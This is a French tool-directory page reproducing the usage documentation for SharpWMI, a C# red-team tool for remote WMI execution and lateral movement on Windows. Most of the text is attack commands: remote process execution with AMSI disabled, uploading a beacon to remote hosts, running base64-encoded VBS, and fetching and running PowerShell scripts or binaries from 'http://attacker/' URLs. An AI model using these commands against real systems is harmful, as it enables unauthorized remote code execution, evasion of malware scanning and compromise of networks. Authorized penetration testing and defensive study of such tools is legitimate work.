Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SharpWMI — SharpWMI est une implémentation en C# de diverses fonctionnalités WMI. | Kitploit
Outils/GitHubGitHub/ghostpack/sharpwmi
Escalade de PrivilègesMouvement LatéralCollecte d'InformationsPost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à Distance
GitHubghostpack/sharpwmi

SharpWMI

SharpWMI est une implémentation en C# de diverses fonctionnalités WMI.

Voir le dépôt
767137il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SharpWMI


SharpWMI est une implémentation en C# de diverses fonctionnalités WMI. Cela inclut les requêtes WMI locales/distance, la création de processus WMI à distance via win32_process, et l'exécution à distance de VBS arbitraire via les abonnements aux événements WMI. Les identifiants alternatifs sont également pris en charge pour les méthodes à distance.

@harmj0y est l'auteur principal.

SharpWMI est sous licence BSD 3-Clause.

Utilisation

root@kitploit:~
  Énumération du système local :
    SharpWMI.exe action=query query=""select * from win32_service"" [namespace=BLAH]

  Énumération du système distant :
    SharpWMI.exe action=query [computername=HOST1[,HOST2,...]] query=""select * from win32_service"" [namespace=BLAH]

  Énumération des utilisateurs connectés à distance :
    SharpWMI.exe action=loggedon [computername=HOST1[,HOST2,...]]

  Création de processus à distance :
    SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]

  Exécution de VBS à distance :
    SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]

  Téléchargement de fichier via WMI :
    SharpWMI.exe action=upload [computername=HOST[,HOST2,...]] source=""C:\\source\\file.exe"" dest=""C:\\temp\\dest-file.exe"" [amsi=disable]

  Énumération du pare-feu distant :
    SharpWMI.exe action=firewall computername=HOST1[,HOST2,...]
    
  Lister les processus :
    SharpWMI.exe action=ps [computername=HOST[,HOST2,...]]

  Terminer un processus (premier trouvé) :
    SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]]

  Obtenir les variables d'environnement (toutes si le nom n'est pas donné) :
    SharpWMI.exe action=getenv [name=VariableName] [computername=HOST[,HOST2,...]]

  Définir une variable d'environnement :
    SharpWMI.exe action=setenv name=VariableName value=VariableValue [computername=HOST[,HOST2,...]]

  Supprimer une variable d'environnement :
    SharpWMI.exe action=delenv name=VariableName [computername=HOST[,HOST2,...]]

  Installer un fichier MSI :
    SharpWMI.exe action=install [computername=HOST[,HOST2,...]] path=""C:\\temp\\installer.msi"" [amsi=disable]

REMARQUE :
  - Toute fonction à distance accepte aussi un ""username=DOMAIN\\user"" ""password=Password123!"" optionnel.
  - Si computername n'est pas spécifié, la cible est localhost.

L'option result=true sur action=exec (ou action=create) fait que SharpWMI renvoie la sortie de la commande après la création du processus WMI distant. Cela fonctionne en stockant la sortie de la commande dans une instance d'un objet WMI arbitraire. Cet objet est ensuite récupéré par l'appelant et restauré à sa valeur d'origine.

Exécution de script VBS :

L'action executevbs a été retravaillée par rapport à la version originale de SharpWMI. La spécification de script définie dans [script-specification] offre les méthodes suivantes pour pointer cet outil vers du code VBS cible :

root@kitploit:~
  A) Exécute une commande OS via un code VBS prédéfini :
    SharpWMI.exe action=executevbs [...] command="notepad.exe"

  B) Télécharge des commandes PowerShell depuis une URL et les exécute depuis VBS via l'entrée standard de PowerShell :
    SharpWMI.exe action=executevbs [...] url="http://attacker/myscript.ps1"

  C) Télécharge un fichier binaire depuis une URL donnée, le stocke dans un chemin spécifié puis l'exécute :
                                         url="SOURCE_URL,TARGET_PATH"
    SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe"

  D) Télécharge un fichier binaire depuis une URL donnée, le stocke dans un chemin spécifié puis exécute une commande arbitraire :
                                         url="SOURCE_URL,TARGET_PATH"
    SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe" command="%TEMP%\bar.exe -some -parameters"

  E) Lit un script VBS depuis un fichier et l'exécute :
    SharpWMI.exe action=executevbs [...] script="myscript.vbs"

  F) Exécute un script VBS donné textuellement :
    SharpWMI.exe action=executevbs [...] script="CreateObject(\\"WScript.Shell\\").Run(\\"notepad.exe\\")"

  G) Décode en Base64 une chaîne d'entrée représentant un script VBS encodé et l'exécute sur la machine distante :
    SharpWMI.exe action=executevbs [...] scriptb64="Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIi[...]"

  H) Lit le contenu d'un fichier donné, le décode en Base64 puis l'exécute sur la machine cible :
    SharpWMI.exe action=executevbs [...] scriptb64="myscript.vbs.b64"

  Enfin, l'action 'executevbs' peut avoir des [time-specs] supplémentaires définis en secondes - ils spécifient les délais de déclenchement et d'attente du script :
    SharpWMI.exe action=executevbs [...] trigger=5 timeout=10

Exemples :

root@kitploit:~
  SharpWMI.exe action=query query=""select * from win32_process""

  SharpWMI.exe action=query query=""SELECT * FROM AntiVirusProduct"" namespace=""root\\SecurityCenter2""

  SharpWMI.exe action=loggedon computername=primary.testlab.local

  SharpWMI.exe action=query computername=primary.testlab.local query=""select * from win32_service""

  SharpWMI.exe action=query computername=primary,secondary query=""select * from win32_process""

  SharpWMI.exe action=exec computername=primary.testlab.local command=""powershell.exe -enc ZQBj...""

  SharpWMI.exe action=exec computername=primary.testlab.local command=""whoami"" result=true amsi=disable

  SharpWMI.exe action=executevbs computername=primary.testlab.local command=""notepad.exe"" eventname=""MyLittleEvent"" amsi=disable

  SharpWMI.exe action=executevbs computername=primary.testlab.local username=""TESTLAB\\harmj0y"" password=""Password123!""

  SharpWMI.exe action=upload computername=primary.testlab.local source=""beacon.exe"" dest=""C:\\Windows\\temp\\foo.exe"" amsi=disable

  SharpWMI.exe action=terminate computername=primary.testlab.local process=explorer

  SharpWMI.exe action=getenv name=PATH computername=primary.testlab.local

  SharpWMI.exe action=setenv name=FOO value=""BAR"" computername=primary.testlab.local

  SharpWMI.exe action=delenv name=FOO computername=primary.testlab.local

  SharpWMI.exe action=install computername=primary.testlab.local path=""C:\\temp\\installer.msi""

Obtenir des informations de type netstat TCP local depuis une machine Windows 10 distante :

root@kitploit:~
SharpWMI.exe action=query computername=COMPUTER query="Select LocalPort,OwningProcess from MSFT_NetTCPConnection" namespace="ROOT\StandardCIMV2"

Instructions de compilation

Nous ne prévoyons pas de publier de binaires pour SharpWMI, vous devrez donc le compiler vous-même :)

SharpWMI a été construit avec .NET 3.5 et est compatible avec Visual Studio 2015 Community Edition. Ouvrez simplement le fichier .sln du projet, choisissez "release", et compilez.

Auteurs

Télécharger l’outil
ContributionAuteur
Implémentation originale de SharpWMIWill Schroeder @harmj0y
Idée de sortie d'exécution de code WMIEvi1cg @Ridter
Code d'évasion AMSI tiré de SharpMoveSteven Flores 0xthirteen
Améliorations, flexibilité VBS, téléchargement de fichierMariusz B. / mgeeky @mariuszbit
Installation de fichiers MSIJustin Bui @slyd0g